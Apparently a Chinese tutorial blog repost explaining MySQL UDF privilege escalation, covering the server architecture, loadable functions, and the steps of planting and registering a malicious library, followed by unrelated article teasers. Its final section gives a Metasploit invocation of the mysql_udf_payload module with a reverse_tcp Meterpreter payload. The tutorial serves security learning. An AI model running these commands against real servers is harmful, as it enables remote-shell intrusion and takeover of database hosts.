MySQL UDF提权原理

news2025/1/16 9:14:34

文章目录

  • 前言
  • 一、MySQL架构
  • 二、什么是UDF
  • 三、UDF提权原理
  • 四、MSF实战
  • 参考


前言

看了许多视频和文章,对UDF提权讲得都不是很清楚,遂搜索了一下MySQL的基础知识,总结了一下,供各位初学的师傅参考。

一、MySQL架构

首先,MySQL也是一个C/S(客户端/服务端编程模型)软件,和其他软件一样,没有什么神奇的东西。这个软件大概的运行机制如下:
参考【1】

MySQL 的架构共分为两层:Server 层和存储引擎层

Server 层:负责建立连接、分析和执行 SQL。MySQL 大多数的核心功能模块都在这实现,主要包括连接池,执行器、优化器、解析器、预处理器、查询缓存等。另外,所有的内置函数(如日期、时间、数学和加密函数等)和所有跨存储引擎的功能(如存储过程、触发器、视图等)都在 Server 层实现;

存储引擎层:负责数据的存储和提取。支持 InnoDB、MyISAM、Memory 等多个存储引擎,不同的存储引擎共用一个 Server 层。现在最常用的存储引擎是 InnoDB,从 MySQL 5.5 版本开始, InnoDB 成为了 MySQL 的默认存储引擎。我们常说的索引数据结构,就是由存储引擎层实现的。

在这里插入图片描述

二、什么是UDF

user-defined functions (UDFs),用户自定义函数,不过,这已经是过时的说法了,MySQL官方文档现在把它称作Loadable Functions(可加载函数),是MySQL可在运行时加载执行以扩展功能的机制。我们大可把它理解为是一个插件,而且其本质也是一个动态链接库。

官方文档很清楚地说明了,一个可加载函数会被编译为库文件(Windows下文.dll,Linux下为.so),然后使用CREATE FUNCTIONDROP FUNCTION 语句动态地从服务器加载和卸载。

A loadable function is compiled as a library file and then loaded and unloaded from the server dynamically using the CREATE FUNCTION and DROP FUNCTION statements.

既然是插件,那必然要遵循一定的约定,好让MySQL知道如何调用。官方文档从格式、参数、编译等等都详细介绍了开发者如何加载一个自己开发的UDF,但作为一个脚本小子,我们不关心怎么写,要操心的是UDF文件放到哪个目录才能被MySQL找到。该目录由plugin_dir系统变量的值指定,我们可以通过@@来引用系统变量。关于更多信息,还是看一看官方文档吧,参考[5]、[6]直达。
在这里插入图片描述

三、UDF提权原理

MySQL一般、默认、往往都是以高权限用户执行的,我们上传一个恶意的UDF文件让MySQL加载执行,这个UDF会继承MySQL的权限,就达到了提权的目的。
在这里插入图片描述

UDF提权的核心思想是向MySQL服务器中插入一个恶意编写的UDF,并通过调用这个UDF来执行恶意代码。为了实现提权,攻击者需要满足以下条件:

  1. UDF文件:首先,攻击者需要有一个恶意编写的UDF文件。这个文件通常是一个共享库(如.so文件),其中包含了攻击者想要执行的代码。

  2. 文件上传:攻击者需要将这个UDF文件上传到MySQL服务器上。这通常涉及到将文件写入到MySQL的插件目录或其他MySQL可以访问的位置。

  3. 注册UDF:接下来,攻击者需要在MySQL中注册这个UDF。这可以通过执行CREATE FUNCTION语句来实现,该语句告诉MySQL如何加载和使用这个UDF。

  4. 调用UDF:一旦UDF被注册,攻击者就可以通过SQL查询来调用它,从而执行恶意代码。

四、MSF实战

恶意的UDF和反弹shell的代码,Msf里面都已经有大佬写好的了,脚本小子直接用就好

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 【root用户的密码】
set rhosts 【ip地址】
run

看下这篇文章就好:MySQL UDF提权

参考

[1]MySQL体系结构及运行原理-侯圣文
[2] MySQL 系列 MySQL 架构篇
[3] MySQL UDF提权:从原理到实践
[4] 小迪安全 红蓝对抗 | 网络攻防 | V2022全栈培训
[5] MySQL官方文档:MySQL Server Loadable Functions
[6] MySQL官方文档:Adding a Loadable Function
[7] MySQL UDF提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2214704.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Broken pipe异常分析及处理

问题出现:生产上运行的系统业务正常,当在查询数据时,出现后台异常,检查后台日志出现Broken Pipe异常; 如图示: Broken Pipe定义:通常发生在服务器端尝试向已关闭的套接字(客户端/端…

Datawhale 组队学习 文生图 Prompt攻防 task02随笔

往期task01链接:task01笔记 本期我们继续从赛季的评价方法切入,探讨如何通过大模型生成更加多样的提示词,让得分更高。 赛题评价方法 结合赛题的要求,赛题文生图大模型服务的全链路框架如下所示: 给定文本prompt&am…

盘点超好用的 Windows 录屏软件,轻松记录屏幕精彩

在当今数字化信息高速流转的时代,屏幕录制已经成为我们日常工作、学习和娱乐中不可或缺的一项技能。如果你是微软电脑,正好我今天想要介绍的就是windows怎么录屏相关工具的操作,感兴趣就继续往下看吧。 1.FOXIT录屏大师 链接直达&#xff1…

【机器学习(十三)】零代码开发案例之股票价格预测分析—Sentosa_DSML社区版

文章目录 一、背景描述二、Sentosa_DSML社区版算法实现(一) 数据读入(二) 特征工程(三) 样本分区(四) 模型训练和评估(五) 模型可视化 三、总结 一、背景描述 股票价格是一种不稳定的时间序列,受多种因素的影响。影响股市的外部因素很多,主要有经济因素、政治因素和公司自身因素…

开源:轻量级异步编排框架

前言 为了更快、更方便的对方法实现异步并排调用,因此实现了一个通过注解就可对方法/类进行异步调用的轻量级异步并排框架。 项目地址:https://gitee.com/madaoEE/my-async 介绍 一个简单实现的异步框架,通过注解对方法、类对象添加异步操…

SpringBoot实现的人事信息管理平台:技术与应用

1系统概述 1.1 研究背景 如今互联网高速发展,网络遍布全球,通过互联网发布的消息能快而方便的传播到世界每个角落,并且互联网上能传播的信息也很广,比如文字、图片、声音、视频等。从而,这种种好处使得互联网成了信息传…

MATLAB代码解析:利用DCGAN实现图像数据的生成

摘要 经典代码:利用DCGAN生成花朵 MATLAB官方其实给出了DCGAN生成花朵的示范代码,原文地址:训练生成对抗网络 (GAN) - MATLAB & Simulink - MathWorks 中国 先看看训练效果 训练1周期 训练11周期 训练56个周期 脚本文件 为了能让各位…

数据库初体验

这两天我学习了数据库的一点知识,我觉得最大的不同就是数据库的代码只能一行一行的运行。 接下来记录我学的东西吧。 第一步 肯定是一些定义知识啦,就不记录了 有一些写一下,数据库的分类为关系型数据库和非关系型数据库 关系型数据库是把复…

Firefox火狐浏览器打开B站视频时默认静音

文章目录 环境问题解决办法 环境 Windows 11家庭版Firefox浏览器 131.0.2 (64 位) 问题 用Firefox浏览器打开B站的视频时,默认是静音播放的: 而其它浏览器,比如Chrome和Edge,默认是带声音播放的。 虽然不是什么大问题&#xf…

工具篇:(一)MacOS 下使用 Navicat 管理 MySQL 数据库:详细图文教程与常见问题解决

MacOS 下使用 Navicat 管理 MySQL 数据库:详细图文教程与常见问题解决 在这篇文章中,我将分享如何在 macOS 上使用 Navicat 来管理 MySQL 数据库。这是一份详细的教程,包括 Navicat 的下载、安装、配置以及使用步骤,并附上亲测的…

优化UVM环境(二)-将error/fatal红色字体打印,pass绿色字体打印

书接上回: 优化UVM环境(一)-环境结束靠的是timeout,而不是正常的objection结束 将error/fatal红色字体打印,pass绿色字体打印 红色字体的error: 31表示字体颜色是红色 1m表示加粗 绿色字体的pass&#…

高可用之限流-05-slide window 滑动窗口

限流系列 开源组件 rate-limit: 限流 高可用之限流-01-入门介绍 高可用之限流-02-如何设计限流框架 高可用之限流-03-Semaphore 信号量做限流 高可用之限流-04-fixed window 固定窗口 高可用之限流-05-slide window 滑动窗口 高可用之限流-06-slide window 滑动窗口 sen…

ReferenceError: MutationEvent is not defined

解决:关闭tampermonkey(篡改猴)插件后也不可以,移除tampermonkey(篡改猴)插件仔刷新就可以了

Linux:Ubuntu系统开启SSH服务

在Ubuntu上开启SSH服务,可以按照以下步骤进行: 1.安装OpenSSH服务 如果你还没有安装OpenSSH服务,可以使用以下命令安装: sudo apt update sudo apt install openssh-server2. 启动SSH服务 安装完成后,启动SSH服务&a…

Leetcode 721 账户合并

Leetcode 721 账户合并 给定一个列表 accounts,每个元素 accounts[i] 是一个字符串列表,其中第一个元素 accounts[i][0] 是 名称 (name),其余元素是 *emails * 表示该账户的邮箱地址。 现在,我们想合并这些账户。如果两个账户都…

jmeter在beanshell中使用props.put()方法的注意事项

在jmeter中,通常使用beanshell去处理一些属性的设置和获取的操作,而这些操作也是有一定的规则的。 1. 设置属性时,在属性名上要加双引号,这代表它不是一个需要用var去声明的变量 这种设置属性的方式才是有效可行的,在…

[权威出刊|稳定检索]2024年云计算、大数据与计算机应用技术国际会议(CCBDCAT 2024)

2024年云计算、大数据与计算机应用技术国际会议 2024 International Conference on Cloud Computing, Big Data, and Computer Application Technology 【1】大会信息 会议名称:2024年云计算、大数据与计算机应用技术国际会议 会议简称:CCBDCAT 2024 大…

【算法设计与分析】第2关:背包问题

任务描述 设有编号为0、1、2、…、n-1的n个物品,它们的重量分别为w0、w1、…、wn-1,价值分别为p0、p1、…、pn-1,其中wi、pi(0≤i≤n-1)均为正数。  有一个背包可以携带的最大重量不超过W。求解目标:在不…

C++类和对象——第三关

在阅读此篇文章之前,请先阅读博主之前的文章: C类和对象第一关-CSDN博客 C类和对象——第二关-CSDN博客 以便更好的理解本文章。 目录 运算符重载 (一)运算符重载 (二)赋值类运算符函数的重载&#x…

基于EBAZ4205矿板的图像处理:16基于小波变换的图像分解及其重建

基于EBAZ4205矿板的图像处理:17基于小波变换的图像分解及其重建 特别说明 这个项目的代码不会开源,因为这个项目的一大部分是在实习的公司做的,所以仅提供思路和展示,展示一下我的能力。 先看效果 这次让小牛和小绿做模特 经过…